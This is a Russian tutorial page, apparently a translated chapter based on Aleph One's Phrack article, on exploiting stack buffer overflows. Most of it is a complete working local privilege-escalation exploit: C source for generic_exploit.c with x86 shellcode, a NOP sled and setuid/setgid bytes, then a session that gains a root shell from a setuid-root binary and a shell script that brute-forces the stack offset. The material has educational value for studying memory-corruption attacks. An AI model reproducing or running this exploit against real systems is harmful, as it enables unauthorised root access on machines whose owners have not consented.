П О Р Т А Л                            
С Е Т Е В Ы Х                          
П Р О Е К Т О В                        
  
Поиск по сайту:
                                                 
Главная

О проекте

Web-мастеру
     HTML & JavaScript
     SSI
     Perl
     PHP
     XML & XSLT
     Unix Shell

MySQL

Безопасность

Хостинг

Другое








Самое читаемое:

Учебник PHP - "Для Чайника".
Просмотров 3499 раз(а).

Иллюстрированный самоучитель по созданию сайтов.
Просмотров 6101 раз(а).

Учебник HTML.
Просмотров 3265 раз(а).

Руководство по PHP5.
Просмотров 5486 раз(а).

Хостинг через призму DNS.
Просмотров 4123 раз(а).

Подборка текстов стандартных документов.
Просмотров 55763 раз(а).

Учебник PHP - Самоучитель
Просмотров 3078 раз(а).

Документация на MySQL (учебник & справочное руководство)
Просмотров 5448 раз(а).

Внешние атаки...
Просмотров 3823 раз(а).

Учебник PHP.
Просмотров 2819 раз(а).

SSI в примерах.
Просмотров 37454 раз(а).






 
 
| Добавить в избранное | Сделать стартовой Project.Net.Ru | Помощь





Запуск программы

Мы начинаем писать небольшую программу для запуска уязвимого приложения с записью данных, которые переполнят стек. Эта программа имеет различные опции для выбора позиции шеллкода в памяти и для выбора программы для запуска. Данная версия, основанная на статье Aleph One из номера 49 журнала phrack, доступна на сайте Christophe Grenier-а.

Каким образом мы перешлем подготовленный буфер приложению? Обычно вы можете использовать параметры командной строки, как в vulnerable.c, или переменную окружения. Причиной пререполнения может быть также ввод данных или чтение их из файла.

Программа generic_exploit.c вначале выделяет буфер нужного размера, затем копирует туда шеллкод и заполняет буфер адресами и кодами NOP, как было описано выше. Затем, оно подготавливает массив аргументов и запускает атакуемое приложение, используя инструкцию execve(), последнее заменит текущий процесс запускаемым. Программе generic_exploit нужно знать размер буфера для атаки (немного больше, чем реальный размер, чтобы перезаписать адрес возврата), смещение в памяти и выравнивание. Мы указваем будет буфер передан как переменная окружения (var) или из командной строки (novar). Аргумент force/noforce определяет, будет ли вызов запускать функцию setuid()/setgid() из шеллкода.

/* generic_exploit.c */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#define NOP                     0x90

char shellcode[] =
        "\xeb\x1f\x5e\x89\x76\xff\x31\xc0\x88\x46\xff\x89\x46\xff\xb0\x0b"
        "\x89\xf3\x8d\x4e\xff\x8d\x56\xff\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff";

unsigned long get_sp(void)
{
   __asm__("movl %esp,%eax");
}

#define A_BSIZE     1
#define A_OFFSET    2
#define A_ALIGN     3
#define A_VAR       4
#define A_FORCE     5
#define A_PROG2RUN  6
#define A_TARGET    7
#define A_ARG       8

int main(int argc, char *argv[])
{
   char *buff, *ptr;
   char **args;
   long addr;
   int offset, bsize;
   int i,j,n;
   struct stat stat_struct;
   int align;
   if(argc < A_ARG)
   {
      printf("USAGE: %s bsize offset align (var / novar)
             (force/noforce) prog2run target param\n", argv[0]);
      return -1;
   }
   if(stat(argv[A_TARGET],&stat_struct))
   {
     printf("\nCannot stat %s\n", argv[A_TARGET]);
     return 1;
   }
   bsize  = atoi(argv[A_BSIZE]);
   offset = atoi(argv[A_OFFSET]);
   align  = atoi(argv[A_ALIGN]);

   if(!(buff = malloc(bsize)))
   {
      printf("Can't allocate memory.\n");
      exit(0);
   }

   addr = get_sp() + offset;
   printf("bsize %d, offset %d\n", bsize, offset);
   printf("Using address: 0lx%lx\n", addr);

   for(i = 0; i < bsize; i+=4) *(long*)(&buff[i]+align) = addr;

   for(i = 0; i < bsize/2; i++) buff[i] = NOP;

   ptr = buff + ((bsize/2) - strlen(shellcode) - strlen(argv[4]));
   if(strcmp(argv[A_FORCE],"force")==0)
   {
     if(S_ISUID&stat_struct.st_mode)
     {
       printf("uid %d\n", stat_struct.st_uid);
       *(ptr++)= 0x31;          /* xorl %eax,%eax   */
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;          /* xorl %ebx,%ebx   */
       *(ptr++)= 0xdb;
       if(stat_struct.st_uid & 0xFF)
       {
     *(ptr++)= 0xb3;        /* movb $0x??,%bl   */
     *(ptr++)= stat_struct.st_uid;
       }
       if(stat_struct.st_uid & 0xFF00)
       {
     *(ptr++)= 0xb7;        /* movb $0x??,%bh   */
     *(ptr++)= stat_struct.st_uid;
       }
       *(ptr++)= 0xb0;          /* movb $0x17,%al   */
       *(ptr++)= 0x17;
       *(ptr++)= 0xcd;          /* int $0x80        */
       *(ptr++)= 0x80;
     }
     if(S_ISGID&stat_struct.st_mode)
     {
       printf("gid %d\n", stat_struct.st_gid);
       *(ptr++)= 0x31;          /* xorl %eax,%eax   */
       *(ptr++)= 0xc0;
       *(ptr++)= 0x31;          /* xorl %ebx,%ebx   */
       *(ptr++)= 0xdb;
       if(stat_struct.st_gid & 0xFF)
       {
     *(ptr++)= 0xb3;        /* movb $0x??,%bl   */
     *(ptr++)= stat_struct.st_gid;
       }
       if(stat_struct.st_gid & 0xFF00)
       {
     *(ptr++)= 0xb7;        /* movb $0x??,%bh   */
     *(ptr++)= stat_struct.st_gid;
       }
       *(ptr++)= 0xb0;          /* movb $0x2e,%al   */
       *(ptr++)= 0x2e;
       *(ptr++)= 0xcd;          /* int $0x80        */
       *(ptr++)= 0x80;
     }
   }
   /* Дописываем шеллкод */
   n=strlen(argv[A_PROG2RUN]);
   shellcode[13] = shellcode[23] = n + 5;
   shellcode[5] = shellcode[20] = n + 1;
   shellcode[10] = n;
   for(i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
   /* Копируем prog2run */
   printf("Shellcode will start %s\n", argv[A_PROG2RUN]);
   memcpy(ptr,argv[A_PROG2RUN],strlen(argv[A_PROG2RUN]));

   buff[bsize - 1] = '\0';

   args = (char**)malloc(sizeof(char*) * (argc - A_TARGET + 3));
   j=0;
   for(i = A_TARGET; i < argc; i++)
     args[j++] = argv[i];
   if(strcmp(argv[A_VAR],"novar")==0)
   {
     args[j++]=buff;
     args[j++]=NULL;
     return execve(args[0],args,NULL);
   }
   else
   {
     setenv(argv[A_VAR],buff,1);
     args[j++]=NULL;
     return execv(args[0],args);
   }
}

Чтобы использовать vulnerable.c в своих целях, наш буфр должен быть больше, чем ожидает приложение. Например, мы выбираем 600 байт вместо ожидаемых 500. Мы находим смещение от вершины стека при помощи последовательных испытаний. Адрес, построенный инструкцией addr = get_sp() + offset;, используется для перезаписи адреса возврата, вы получите его... имея небольшое везение! Операция предполагает, что содержимое регистра %esp ненамного отличается в текущем процессе и процессе, вызванном в конце программы. Практически, это не точно: различные события могут изменить состояние стека со времени вычисления до вызова атакуемой программы. Здесь нам удалось запустить переполнение при помощи смещения -1900 байт. Конечно, чтобы закончить опыт, vulnerable должен быть Set-UID root.

  $ cc vulnerable.c -o vulnerable
  $ cc generic_exploit.c -o generic_exploit
  $ su
  Password:
  # chown root.root vulnerable
  # chmod u+s vulnerable
  # exit
  $ ls -l vulnerable
  -rws--x--x   1 root     root        11732 Dec  5 15:50 vulnerable
  $ ./generic_exploit 600 -1900 0 novar noforce /bin/sh ./vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe54
  Shellcode will start /bin/sh
  bash# id
  uid=1000(raynal) gid=100(users) euid=0(root) groups=100(users)
  bash# exit
  $ ./generic_exploit 600 -1900 0 novar force /bin/sh /tmp/vulnerable
  bsize 600, offset -1900
  Using address: 0lxbffffe64
  uid 0
  Shellcode will start /bin/sh
  bash# id
  uid=0(root) gid=100(users) groups=100(users)
  bash# exit
В первом случае (noforce) наш uid не изменился. Тем не менее, у нас появился новый euid, предоставляющий все права. Поэтому, даже если vi говорит при редактировании /etc/passwd, что он только для чтения, мы все-таки можем сохранить файл, и все изменения будут работать: надо всего лишь записывать при помощи w! :) Параметр force делает uid=euid=0 при запуске.

Чтобы автоматически найти значение смещения для переполнения, можно использовать следующий небольшой шелл скрипт:

 #! /bin/sh
 # find_exploit.sh
  BUFFER=600
  OFFSET=$BUFFER
  OFFSET_MAX=2000
  while [ $OFFSET -lt $OFFSET_MAX ] ; do
    echo "Offset = $OFFSET"
    ./generic_exploit $BUFFER $OFFSET 0 novar force /bin/sh ./vulnerable
    OFFSET=$(($OFFSET + 4))
  done
В нашем эксплоите мы не принимали в расчет возможную проблему выравнивания. Поэтому возможно, что этот пример не будет работать у вас с теми же значениями или не будет работать вообще из-за выравнивания. (Те, кто хочет протестировть пример в любом случае, должны поменять параметр выравнивания на 1, 2 или 3(у нас 0)). Некоторые системы не позволяют писать в области памяти, не являющиеся полными словами, однако в Linux это не так.

Назад | Содержание | Вперед



Если Вы не нашли что искали, то рекомендую воспользоваться поиском по сайту:
 





Copyright © 2005-2016 Project.Net.Ru